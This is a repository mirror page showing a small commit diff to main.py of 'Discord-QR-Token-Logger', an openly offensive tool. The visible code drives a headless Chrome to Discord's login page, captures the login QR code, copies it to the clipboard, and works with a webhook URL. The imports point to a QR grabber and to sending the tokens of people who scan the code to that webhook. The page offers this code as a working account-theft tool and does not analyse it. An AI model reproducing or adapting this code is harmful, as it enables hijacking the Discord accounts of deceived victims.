mirrors/Discord-QR-Token-Logger
1
0
Fork 0
mirror of https://github.com/9P9/Discord-QR-Token-Logger.git synced 2025-06-13 14:05:13 +00:00
Code Issues Projects Releases Wiki Activity

Update main.py

Browse Source
This commit is contained in:
mouadessalim 2023-02-10 23:41:51 +01:00 committed by GitHub
parent 79df7f3f79
commit eefd25d56e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
Discord-QR-Token-Logger/main.py
View File

@ -20,7 +20,6 @@ import os
import time import time
import win32clipboard import win32clipboard
from io import BytesIO from io import BytesIO
from logging import ERROR
from tempfile import NamedTemporaryFile, TemporaryDirectory from tempfile import NamedTemporaryFile, TemporaryDirectory
from threading import Thread, Event from threading import Thread, Event
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
@ -30,24 +29,20 @@ from pystyle import Box, Center, Colorate, Colors, System, Write
from selenium import webdriver from selenium import webdriver
from selenium.common.exceptions import WebDriverException from selenium.common.exceptions import WebDriverException
from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.service import Service
from constants import BANNER, PYSTRAY_IMG, SLEEP_TIME from constants import BANNER, PYSTRAY_IMG
from discord_token import QRGrabber, TokenInfo from discord_token import QRGrabber, TokenInfo
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
from queue import Queue from queue import Queue
from signal import SIGTERM from signal import SIGTERM
from logger import log_unknown_exceptions
@log_unknown_exceptions(ERROR)
def main(webhook_url: str) -> None: def main(webhook_url: str) -> None:
#The main function of the program.
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple) Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple)
opts = webdriver.ChromeOptions() opts = webdriver.ChromeOptions()
opts.add_argument('--headless') opts.add_argument('--headless')
opts.add_experimental_option('detach', True) opts.add_experimental_option('detach', True)
opts.add_experimental_option('excludeSwitches', ['enable-logging']) opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_argument('--log-level 3') opts.add_argument('--log-level 3')
# This module have conflicts with PyStyle; importing here prevents the issue.
from webdriver_manager.chrome import ChromeDriverManager from webdriver_manager.chrome import ChromeDriverManager
os.environ['WDM_PROGRESS_BAR'] = str(0) os.environ['WDM_PROGRESS_BAR'] = str(0)
os.environ['WDM_LOG_LEVEL'] = '0' os.environ['WDM_LOG_LEVEL'] = '0'
@ -60,7 +55,6 @@ def main(webhook_url: str) -> None:
'WebDriverException : have you tried installing the latest version of Google Chrome?') 'WebDriverException : have you tried installing the latest version of Google Chrome?')
main.driver.implicitly_wait(5) main.driver.implicitly_wait(5)
main.driver.get('https://discord.com/login') main.driver.get('https://discord.com/login')
# Attempted to do this with WebDriverWait but it resulted in a fail.
time.sleep(5) time.sleep(5)
source = BeautifulSoup(main.driver.page_source, features='html.parser') source = BeautifulSoup(main.driver.page_source, features='html.parser')
qrg = QRGrabber('resources') qrg = QRGrabber('resources')
@ -153,7 +147,6 @@ def main(webhook_url: str) -> None:
if __name__ == "__main__": if __name__ == "__main__":
@log_unknown_exceptions(ERROR)
def pystray_icon(): def pystray_icon():
def window_state(_, item): def window_state(_, item):
if str(item) == 'Show': if str(item) == 'Show':
@ -204,5 +197,5 @@ if __name__ == "__main__":
Thread(target=pystray_icon).start() Thread(target=pystray_icon).start()
th_main.start() th_main.start()
while th_main.is_alive(): while th_main.is_alive():
time.sleep(SLEEP_TIME) time.sleep(1)
pystray_icon.icon.stop() pystray_icon.icon.stop()